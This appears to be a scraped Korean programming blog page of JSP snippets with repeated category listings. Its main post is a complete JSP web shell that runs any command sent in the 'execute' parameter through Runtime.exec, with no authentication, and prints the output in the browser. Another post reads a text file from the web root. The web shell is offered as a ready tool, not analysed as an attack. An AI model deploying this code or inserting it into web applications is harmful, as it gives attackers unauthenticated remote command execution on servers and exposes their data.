반응형

소스 혹... 잊어 버릴까봐

첨부함.

반응형

'Language > JSP' 카테고리의 다른 글

로딩된 CLASS 정보 보기  (0) 2011.03.10
JSP WEB shell  (0) 2010.05.10
JSP 파일 읽기  (0) 2009.12.03
웹 상에서 바로 엑셀로 저장하기  (0) 2009.03.06
반응형


JSP 용 web shell



<%@ page contentType="text/html;charset=euc-kr" %>
<%@ page import="java.io.*"%>
<%
String execute = request.getParameter("execute");
if(execute == null) execute = "";
%>
<html>
<head>
<title>
WebShell
</title>
<script>
function send()
{
        document.main.submit();
}
</script>

</head>
<body>
<br>
<form method="post" name="main" action="webshell.jsp">
<table width="400"  border="0" CELLPADDING=0 CELLSPACING=0>
    <tr bgcolor="#F7FCFE">
        <td height="22" align="center" width="70">명령어</td>
        <td height="22" align="center" align="left">
        <input type="text" name="execute" size="30" value="<%=execute%>">
        <input type="button" value="실행" onClick="javascript:send();"></td>
        </tr>
</table>
</form>
<hr>
<%
if(!execute.equals("")){
BufferedReader br = null;
Runtime rt = Runtime.getRuntime();
Process proc = rt.exec(execute);
br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
String line;
while((line = br.readLine())!=null){
        out.println(line+"<br>");
}
br.close();
proc.destroy();
}
%>
</body>
</html>

반응형

'Language > JSP' 카테고리의 다른 글

JSP 2.0 프로그래밍 소스  (0) 2011.10.12
로딩된 CLASS 정보 보기  (0) 2011.03.10
JSP 파일 읽기  (0) 2009.12.03
웹 상에서 바로 엑셀로 저장하기  (0) 2009.03.06
반응형


공지사항을 멀티로 돌려서 읽을려고 한다.

방법은 아래와 같다

아래의 jsp 파일을 생성시키고 같은 디렉토리 내에

readme.txt 파일을 만들어 사용하고자 한다.

 <%@page contentType="text/html;charset=euc-kr" %>
<%@page import="java.io.*"%>

<%
  String fileName = "readme.txt"; //생성할 파일명
  String fileDir = "."; //파일을 생성할 디렉토리
  String filePath = request.getRealPath(fileDir) + "/"; //파일을 생성할 전체경로
  filePath += fileName; //생성할 파일명을 전체경로에 결합


 // 파일읽기
  FileReader fr = new FileReader(filePath); //파일읽기객체생성
  BufferedReader br = new BufferedReader(fr); //버퍼리더객체생성

  String line = null;
  while((line=br.readLine())!=null){ //라인단위 읽기
    out.println(line + "<br>");
  }
%>




반응형

'Language > JSP' 카테고리의 다른 글

JSP 2.0 프로그래밍 소스  (0) 2011.10.12
로딩된 CLASS 정보 보기  (0) 2011.03.10
JSP WEB shell  (0) 2010.05.10
웹 상에서 바로 엑셀로 저장하기  (0) 2009.03.06

+ Recent posts